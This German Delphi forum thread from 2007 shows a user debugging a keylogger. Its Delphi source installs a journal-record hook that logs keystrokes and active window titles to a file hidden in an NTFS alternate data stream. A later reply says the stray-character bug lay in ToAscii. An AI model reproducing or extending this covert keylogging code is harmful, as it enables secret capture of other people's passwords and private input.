Delphi-PRAXiS

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Object-Pascal / Delphi-Language (https://www.delphipraxis.net/32-object-pascal-delphi-language/)
-   -   Delphi Keyhooks...AusgabeDatei enthält nicht gedrückte Tasten oO (https://www.delphipraxis.net/98330-keyhooks-ausgabedatei-enthaelt-nicht-gedrueckte-tasten-oo.html)

0x802b 25. Aug 2007 02:31


Keyhooks...AusgabeDatei enthält nicht gedrückte Tasten oO
 
Hey Community :>

Ich bin nach längerem testen ehrlich gesagt langsam am verzeifeln :(
Ich habe mich mal an Keyboardhooks gesetzt und ne kleine App geschrieben welche die Anschläge
aufzeichnet und in einer TextDatei(bzw. html) speichert.

Das klappt Lokal (Windows Vista 32Bit) auch wunderbar, allerdings auf anderen Testmaschinen nicht!

Die Aufzeichnungen sehen folgendermaßen aus:

Zitat:

<-----LOKAL(winVista)----->
[ App Name ]
hallo ihr da draußen


<-----WIN XP TESTRECHNER(3 Stück)----->
[ App Name ]
hÜaÜlÜlÜoÜ iÜhÜrÜ dÜaÜ dÜrÜaÜuÜßÜeÜnÜ
Wie ihr sicherlich seht wird nach jedem Buchstaben ein Ü eingefügt :(
Ich hatte zuerst vermutet das er das KeyPress Event ansich i-wie aufzeichnet und durch ein Ü ebenfalls aufzeichnet.
Bischen debugged und danach konnte ich die Vermutung ebenfalls ausschliessen.

Ich hab schon Bekannte gefragt aber die wissen auch nicht wodrans liegen könnte...
Hier mal der Source:

Delphi-Quellcode:
procedure Main.SetHooks;
begin
KeyHookHandle:=SetWindowsHookEx(WH_JOURNALRECORD, @KeyHookProc, HInstance, 0);
end;
//
//
//
function KeyHookProc(nCode:integer; wParam: Longint; var EventStrut: TEVENTMSG): Longint; stdcall;
var
CurrentChar,HBuf,HookFilePath:string;
KeyFile,BytesWritten:dword;
szCurAppNm:array[0..260] of Char;
CurrentKey:Array[0..1] of Char;
VirtKey,ScanCode:Cardinal;
KeyState:TKeyBoardState;
nametext:Array[0..32] of Char;
begin
if (nCode = HC_ACTION) and (EventStrut.message = WM_KEYUP)
  then begin
   VirtKey:=LOBYTE(EventStrut.paramL);
   ScanCode:=HIBYTE(EventStrut.paramL);
   ScanCode:=ScanCode shl 16;
   HookFilePath:='C:\:keyhooks.txt'; //Ads

   KeyFile:=CreateFile(pchar(HookFilePath), GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
   SetFilePointer(KeyFile, 0, nil, FILE_END);
   GetWindowText(GetForegroundWindow, szCurAppNm, sizeof(szCurAppNm));
   if szCurAppNm <> szCurApp

    then begin
     szCurApp:=szCurAppNm;
     HBuf:='<font color="#b22222">[ '+szCurAppNm+' ]</font>';
     WriteFile(KeyFile, pchar(HBuf)^, length(HBuf), BytesWritten, nil);
    end;
   GetKeyNameText(ScanCode,nametext,sizeof(nametext));
   
{   if VirtKey = VK_CAPITAL then CurrentChar:=''          
   else if VirtKey = VK_SHIFT then CurrentChar:=''      
   else if VirtKey = VK_SPACE then CurrentChar:=''    
   else if VirtKey = VK_RETURN then CurrentChar:='
'
   else if VirtKey = VK_BACK then CurrentChar:='<font color="#c0c0c0">[Back]</font>'
   else if VirtKey = VK_TAB then CurrentChar:='<font color="#c0c0c0">[Tab]</font>'
   else if VirtKey = VK_CONTROL then CurrentChar:='<font color="#c0c0c0">[Ctrl]</font>'
   else if VirtKey = VK_MENU then CurrentChar:='<font color="#c0c0c0">[Alt]</font>'
   else if VirtKey = VK_PAUSE then CurrentChar:='<font color="#c0c0c0">[Pause]</font>'
   else if VirtKey = VK_ESCAPE then CurrentChar:='<font color="#808080">[Esc]</font>'
...
...
...
}

   
 else if lstrlen(nametext) > 1 then CurrentChar:='['+nametext+']'
   else
    begin
     GetKeyboardState(KeyState);
     ToAscii(VirtKey,ScanCode, KeyState, CurrentKey, 0);
     CurrentChar:=CurrentKey;

    end;
   if CurrentChar <> '' then WriteFile(KeyFile, pchar(CurrentChar)^, length(CurrentChar), BytesWritten, nil);
   CloseHandle(KeyFile);
  end;

//CallNextHookEx(KeyHookHandle, nCode, wParam, Integer(@EventStrut));
end;
Habt ihr eventuell eine Idee?

0x802b 26. Aug 2007 12:45

Re: Keyhooks...AusgabeDatei enthält nicht gedrückte Tasten o
 
Konnte das Problem vermutlich lösen..Lag an dem ToASCII(....);

Trotzdem danke :dance:


Alle Zeitangaben in WEZ +1. Es ist jetzt 09:31 Uhr.

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz